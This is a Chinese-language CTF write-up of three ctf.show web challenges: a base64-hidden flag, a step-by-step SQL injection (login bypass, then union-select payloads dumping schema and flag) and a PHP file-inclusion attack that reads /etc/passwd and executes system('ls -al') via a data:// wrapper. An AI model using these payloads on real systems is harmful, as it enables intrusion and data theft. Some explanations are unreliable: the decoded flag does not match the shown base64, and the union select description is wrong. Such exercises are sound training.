学习地址:https://ctf.show/challenges#
一 第一题:签到题
页面主要内容:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"></head>
<body>
where is flag?
<!-- Y3Rmc2hvd3tmNmM2NTdhOC1mMmNlLTQ1ZjgtOTYzMi01YjA3ZGJlOGI3MzZ9-->
</body>
</html>
不难发现,这里有一串注释
Y3Rmc2hvd3tmNmM2NTdhOC1mMmNlLTQ1ZjgtOTYzMi01YjA3ZGJlOGI3MzZ9
这实际是一个base64编码:
解码内容:ctfshow{ce55fb80-d52e-43de-a6d1-fafe9ee969e7}
二 第二题: 最简单的SQL注入
页面主要内容:
<html lang="zh-CN"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0">
<title>ctf.show_web2</title>
</head>
<body>
<center>
<h2>ctf.show_web2</h2>
<hr>
欢迎你,ctfshow{f7c6d598-7922-45d4-a2ce-d25a65e0e027}
<form method="post">
用户名:<input type="text" name="username">
<br>
<br>
密 码:<input type="password" name="password">
<br>
<br>
<input type="submit" value="登陆">
</form>
</center>
</body>
</html>
显然题目的要求是需要SQL注入:
-
首先我们先来了解一下输入用户名和名字后,后端SQL怎么写的:
Select * from user where username='用户名输入内容' and password='密码' -
由于这里纯纯是字符串,所以呢,我们也可以直接插入字符串,来注释掉后面的内容
我们输入 "user' or 1=1#"
内容就会变成:Select * from user where username='user' or 1=1# and password=''那么这个语句就意思是从user表里面选择*
这时候网站多出来了一个东西:"欢迎你,ctfshow"
也就是说我们已经成功注入登录了 -
(这里用户名是什么和*无关)下一步是要让SQL告诉我们更多东西
"union select": 把查询内容拼在一起 如:Select id from users union select id from items那么就会把id拼接:比如userid为5,itemid为6,id=56
所以我们尝试"union select 1,2,3,4,5...#"来进行对不同列查询
Select * from user where username='' or 1=1 union select 1,2,3'(后面注释掉的内容就不写了)
依次试过以后,发现只有输入"' or 1=1 union select 1,2,3#"后有反应
文字变成了:"欢迎你,ctfshow欢迎你,2"也就是说,它前面查了三个数据,并且只显示中间的数据
(我这里把查的数据名字简称a,b,c)Select a,b,c from user where username='' or 1=1 union select 1,2,3'那么显而易见,它选择了b(ctfshow)和"2" 欢迎你,ctfshow 欢迎你,2
-
“2”所在的位置可以放入任何我们想要的数据
-
step1:
把2改成"database()" 它就会去查数据库名
返回: "欢迎你,web2"
可见数据库名为“web2”还可以问些其他的
' union select 1,version(),3# → 10.3.18-MariaDB (数据库版本) ' union select 1,user(),3# → root@localhost (当前账号,是最高权限,很好) ' union select 1,@@datadir,3# → /var/lib/mysql/ (数据存哪) -
step2:查表
MySQL 自带一个"图书馆目录",叫 information_schema
里面 tables 这张表记录了所有表的名字。查它就行:database() = web2
gtoup_concat():将分组内的多行数据合并为单行字符串的聚合函数
information_schema.tables查表
information_schema.columns查字段' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# ' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='flag'#返回: "欢迎你,flag,user" 显然,我们可以去查另一个表flag 返回: "欢迎你,flag" flag里面只有flag字段
-
step3: 查查flag表
' union select 1,group_concat(flag),3 from flag#返回:"欢迎你,ctfshow{bfa6c5a2-7096-40f8-958d-3aefdc554f86}"
成功提取flag"ctfshow{bfa6c5a2-7096-40f8-958d-3aefdc554f86}"
-
三 第三题: php(更高级web)
页面内容:
<html lang="zh-CN"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0">
<title>ctf.show_web3</title>
</head>
<body>
<center>
<h2>ctf.show_web3</h2>
<hr>
<h3>
<code><span style="color: #000000">
<span style="color: #0000BB"><?php </span><span style="color: #007700">include(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'url'</span><span style="color: #007700">]);</span><span style="color: #0000BB">?></span>
</span>
</code> </h3></center>
</body></html>
页面直接展示了一串:"<?php include($_GET['url']);?>"
这个语句的意思是:把"url"指向的文件当php执行
- 小知识:
php执行条件为读取到<?php
php转换为文本读取到?>上面那一串就是例子
例如:?url=flag.php,那么这个网页就会去执行flag.php文件
-
step1: 尝试查文件
/?url=/etc/passwd
(这个就是让php查Linux的系统账号文件(纯文本))
竟然返回root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin.........也就是说我们能够读取任何我们想要的东西!!!
-
step2: 看看同目录下有什么?
?url=data://text/plain,<?php system('ls -al');?>读取到当前目录:total 20 drwxrwxrwx 1 www-data www-data 4096 Oct 14 12:24 . drwxr-xr-x 1 root root 4096 Oct 31 2019 .. -rw-r--r-- 1 www-data www-data 46 Oct 14 12:24 ctf_go_go_go -rw-r--r-- 1 www-data www-data 567 Feb 5 2020 index.php可以看到当下有一个非常可疑的文件ctf_go_go_go
-
step3: 查看可疑文件
?url=ctf_go_go_go
返回:"ctfshow{6b7d6151-d36e-4cfc-b93b-e6dd743d3bcc}"拿下这道题